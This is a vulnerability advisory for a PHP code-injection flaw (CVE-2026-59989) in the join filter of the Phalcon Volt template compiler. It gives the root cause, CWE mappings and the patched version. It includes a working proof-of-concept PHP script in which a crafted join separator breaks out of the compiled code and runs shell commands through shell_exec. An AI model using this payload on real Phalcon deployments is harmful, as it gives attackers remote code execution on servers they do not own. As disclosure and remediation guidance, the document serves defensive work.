CVE-2026-59989: Phalcon Volt Compiler join Filter PHP Code Injection (RCE)
Phalcon's Volt template engine splices raw attacker-controlled template arguments directly into generated PHP code, letting anyone who can influence a Volt template break out of the compiled output…

The problem
The Volt compiler's join filter handler in Mvc/View/Engine/Volt/Compiler.zep (around line 2544) builds its PHP output by string-concatenating the raw token values of both the separator and the piped array argument. Neither value passes through the compiler's expression() method, so no escaping or validation is applied.
The compiled file is written to a cache directory and then require()d by Volt::render() at request time. Any PHP injected via a crafted join argument therefore executes with web-server privileges. The impact is full remote code execution for any application that compiles Volt source it does not fully control.
Proof of concept
A working proof-of-concept for CVE-2026-59989 in phalcon/cphalcon, with the exact payload below.
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
// Volt template with malicious join separator that breaks out of the generated join('…') call
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
// Compiler emits (verbatim, no escaping):
// join('',[]); echo shell_exec(base64_decode('<b64>')); //', ['x'])
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f; // executes the injected shell_exec()
unlink($f);The root cause is two unescaped concatenations in the join case of resolveFilter(). The Zephir source does "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")", and the compiled C confirms this: ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")").
Because Volt's scanner stores string-literal bytes verbatim, a separator value containing ',[]); echo shell_exec(...); // closes the opening join(' call and injects arbitrary PHP before the compiler-appended ) is commented out.
The fix in PR #17217 (commit e434061) routes both arguments through this->expression(), which properly quotes and sanitises values before emission, rather than splicing raw token bytes. This maps to CWE-94 (Code Injection) and CWE-1336 (Improper Neutralisation of Special Elements in a Template Engine).
The fix
Upgrade to phalcon/cphalcon 5.16.0 or later. The patch (PR #17217, commit e434061be3b7161930476c1368c868badc71e1bd) replaces the raw token concatenation with calls to this->expression() for both the separator and array arguments in the join filter handler, ensuring all values are properly escaped before being written into the compiled PHP cache file.
Related research
- critical · 9.8CVE-2026-54133CVE-2026-54133: jmespath.php CompilerRuntime Code Injection via Unescaped Function Names
- critical · 9.8CVE-2026-52778CVE-2026-52778: YesWiki CalcField Unsafe eval() Remote Code Execution and ReDoS
- highCVE-2026-56382: Craft CMS RCE via Yii2 Event Handler Injection in FieldsController
- criticalCVE-2026-27823CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal